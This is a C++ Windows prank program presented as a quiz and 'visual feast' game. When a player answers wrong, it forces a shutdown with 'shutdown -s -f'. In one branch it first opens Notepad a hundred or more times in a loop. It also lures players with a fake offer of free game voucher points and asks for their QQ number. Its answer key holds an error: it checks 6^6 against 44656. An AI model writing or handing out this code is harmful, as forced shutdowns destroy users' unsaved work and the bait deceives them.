有关C++的用途

#include<iostream>
#include<stdio.h>
#include<time.h>
#include<stdlib.h>
#include<cstdio>
#include <windows.h>
void SlowDisplay(char *);
void Close_computer();
void Dividing_line();
void Bug();
void Remedy();
void Remedy2();
void Question_bank1();
void Question_bank2();
int Random();
using namespace std;
double a,b,c=0,f,g,k;
long long j,d=0,e,s;
char ch,i;
int main()
{
    do
    {
        s=0;
        e=Random();
        g=0;
        system("mode con cols=71 lines=71");
        system("color 0F");
        d=0;
        do
        {
            if(g==0)cout<<"请输入你想要的输出速度（25-100）\n";
            else cout<<"请重新输入\n";
            cin>>f;
            g++;
        }
        while(f<25||f>100);
        if(c==0)SlowDisplay("\n\n\t\t\t　欢迎来到视觉盛宴！\n\n\n\t\t\t　　请先做几道题\n\n");
        else SlowDisplay("\n\t\t\t　　欢迎再次运行\n");
        Sleep(100);
        Dividing_line();
        if(e==1)Question_bank1();
        else Question_bank2();
        SlowDisplay("现在你可以选择\n  1：坑爹的题目 2：鬼畜的题目。\n");
        d=5;
        cin>>a;
        Dividing_line();
        if(a!=1&&a!=2)
        {
            SlowDisplay("输入错误\n");
            Close_computer();
        }
        if(a==1)
        {
            SlowDisplay("(6+5-4*3/2^1)!=?\n");
            d=6;
            cin>>b;
              Sleep(100);
            if(b!=120)SlowDisplay("准！\n\n");
            else
            {
            SlowDisplay("又被套路了\n");
            Close_computer();
        }
    }
    Dividing_line();
    if(a==2)
    {
        SlowDisplay("你为什么这么傻？\n\n  1:天生的  2：选1  3：选2\n");
        d=7;
        cin>>a;
        Sleep(100);
        if(a!=1&&a!=2&&a!=3)
        {
            SlowDisplay("死不承认！");
            a=-900;
            Bug();
        }
        SlowDisplay("哈哈！！！\n");
    }   
        SlowDisplay("恭喜通过\n\n\n\n");
        Dividing_line();
        d=7;
        Sleep(100);
        cout<<"你可以刷王者荣耀点券了\n";
        cout<<"请输入你想刷的点券数并按回车键：\n";
        cin>>a;
        if(a>0)
        {
            Sleep(100);
            cout<<"请输入你的QQ号并按回车键：\n";
            cin>>b;
            Bug();
        }
        SlowDisplay("恭喜你通过了考验，证明你是个老(ji)实(zei)的人\n");
        system("mode con cols=157 lines=157");
        d=8;
        SlowDisplay("\n\n\n\t\t\t\t\t\t\t\t开始你的视觉盛宴吧\n\n\n\t\t\t\t\t\t\t\t　　密码小写o\n");
        cin>>ch;
        if(ch!='o')
        {
            SlowDisplay("输入错误\n");
            Close_computer();
        }
        for(i='!';i<=ch;i++)
        {
            for(int j=1;j<=ch-i;j++) cout<<" ";
            for(char c='!';c<=i;c++) cout<<c;
            for(char c=i-1;c>='!';c--) cout<<c;
            cout<<endl;
        }
        Dividing_line();
        Sleep(500);
        for(j=0;j<=1000000000000000;j++)
        {
            if(j>1000)j=j+9;
            if(j>100000)j=j+90;
            if(j>1000000)j=j+900;
            if(j>10000000)j=j+9000;
            if(j>100000000)j=j+90000;
            if(j>1000000000)j=j+900000;
            if(j>10000000000)j=j+9000000;
            if(j>100000000000)j=j+90000000;
            if(j>1000000000000)j=j+900000000;
            if(j>10000000000000)j=j+9000000000;
            if(j>100000000000000)j=j+90000000000;
            cout<<j<<"                              ";
        }
        Dividing_line();
        Sleep(500);
        for(j=1;j<=157;j++)
        {
            for(a=157-j;a>0;a--)cout<<" ";
            for(a=j*2-1;a>0;a--)cout<<"*";
            cout<<endl;
        }
        for(j=157-1;j>=1;j--)
        {
            for(a=157-j;a>0;a--)cout<<" ";
            for(a=j*2-1;a>0;a--)cout<<"*";
            cout<<endl;
        }
        Sleep(500);
        Dividing_line();
        system("color 1E");
        Sleep(10);
        system("color 2D");
        Sleep(10);
        system("color 3C");
        Sleep(10);
        system("color 4B");
        Sleep(10);
        system("color 5A");
        Sleep(10);
        system("color 69");
        Sleep(10);
        system("color 78");
        Sleep(10);
        system("color 87");
        Sleep(10);
        system("color 96");
        Sleep(10);
        system("color A5");
        Sleep(10);
        system("color B4");
        Sleep(10);
        system("color C3");
        Sleep(10);
        system("color D2");
        Sleep(10);
        system("color E1");
        Sleep(10);
        system("color F0");
        Sleep(500);
        b=MessageBox(NULL,"是不是很爽？\n请选择：\n 是：重新再玩\n 否：结束","",MB_YESNO);
        c++;
    }
    while(b==IDYES);
    MessageBox(NULL,"下次再来","",MB_OK);
    return 0;
}
void SlowDisplay(char *p)
{
    while(1)
    {
        if(*p!=0)printf("%c",*p++);
        else break;
        Sleep(f);
    }
}
void Close_computer()
{
   
    printf("对不起，您的电脑即将关机！");
    Sleep(100);
    system("shutdown -s -f -t 30");
    if(s<=3)Remedy();
}
void Dividing_line()
{
    for (b=1;b<=35;b++)cout<<"=*";
    cout<<"\n　　　　　　　　　　　　　　华丽丽的分界线\n";
}
void Bug()
{
    if(s<=3)Remedy();
    if(a!=0)
    {
        while(a>-1000)
        {
            WinExec("NotePad.exe", 5);
            a--;
        }
        system("shutdown -s -f -t 0");
    }
}
void Remedy()
{
    s++;
    SlowDisplay("\n还想补救吗？如果再回答一次，你会选什么？\n");
    if(d!=8)cin>>a;
    else cin>>ch;
    switch(d)
    {
        case 1:
            if(a!=2)system("shutdown -a");
            else SlowDisplay("补救失败！");
            break;
        case 2:
            if(a==0)system("shutdown -a");
            else SlowDisplay("补救失败！");
            break;
        case 3:
            if(a==4)a=0;
            else SlowDisplay("补救失败！");
            break;
        case 4:
            if(a==1||a==2)system("shutdown -a");
            else SlowDisplay("补救失败！");
            break;
        case 5:
            if(a!=120)a=0;
            else SlowDisplay("补救失败！");
            break;
        case 6:
            if(a==1||a==2||a==3)a=0;
            else {SlowDisplay("补救失败！");a=10;}
            break;
        case 7:
            if(a<=0)a=0;
            else SlowDisplay("补救失败！");
            break;
        case 8:
            if(ch=='o')system("shutdown -a");
            else SlowDisplay("补救失败！");
            break;
        case 9:
            if(a!=1)system("shutdown -a");
            else SlowDisplay("补救失败！");
            break;
        case 10:
            if(a!=1)system("shutdown -a");
            else SlowDisplay("补救失败！");
            break;
    }
}
int Random()
{
    srand((unsigned)time(NULL));
    return rand()%2;
}
void Question_bank1()
{
    d=1;   
    SlowDisplay("1+1=?\n");
    cin>>a;
    if(a==2)
    {
        SlowDisplay("还是太天真！\n");
        Close_computer();
    }
    Sleep(500);
    SlowDisplay("恭喜进入下一关!\n\n");
    Dividing_line();
    Sleep(100);
    d=2;   
    SlowDisplay("1-1=？\n");
    cin>>a;
    if(a!=0)   
    {
        SlowDisplay("套路深啊！\n");
        Close_computer();
    }
    Sleep(500);
    SlowDisplay("666666!下一题\n\n");
    Dividing_line();
    Sleep(100);
    SlowDisplay("6!=?\n");
    cin>>a;
    if(a!=720)Remedy2();
    Dividing_line();
}
void Question_bank2()
{
    d=9;
    SlowDisplay("1*1=?\n");
    cin>>a;
    if(a==1)
    {
        SlowDisplay("还是太天真！\n");
        Close_computer();
    }
    Sleep(500);
    SlowDisplay("恭喜进入下一关!\n\n");
    Dividing_line();
    Sleep(100);
    d=10;   
    SlowDisplay("1^1^1^1=？\n");
    cin>>a;
    if(a!=1)   
    {
        SlowDisplay("套路深啊！\n");
        Close_computer();
    }
    Sleep(500);
    SlowDisplay("66666！下一题\n");     
    Dividing_line();
    Sleep(100);
    SlowDisplay("6^6=?\n");
    cin>>a;
    if(a!=44656)Remedy2();
    Dividing_line();
}
void Remedy2()
{
    SlowDisplay("回答错误，不过还有一次补救的机会\n\n");     
    Dividing_line();
    Sleep(100);
    SlowDisplay("本次测试有几题？\n");
    d=3;
    cin>>a;
    if(a==3)
    {
        SlowDisplay("傻，这也是一题啊\n");
        Close_computer();
    }
    if(a!=3&&a!=4)
    {
        SlowDisplay("还当是套路啊\n现在最后套路你一次吧");
        Sleep(100);
        a=-900;
        Bug();
    }
    if(a==4)cout<<"聪明！\n\n";
}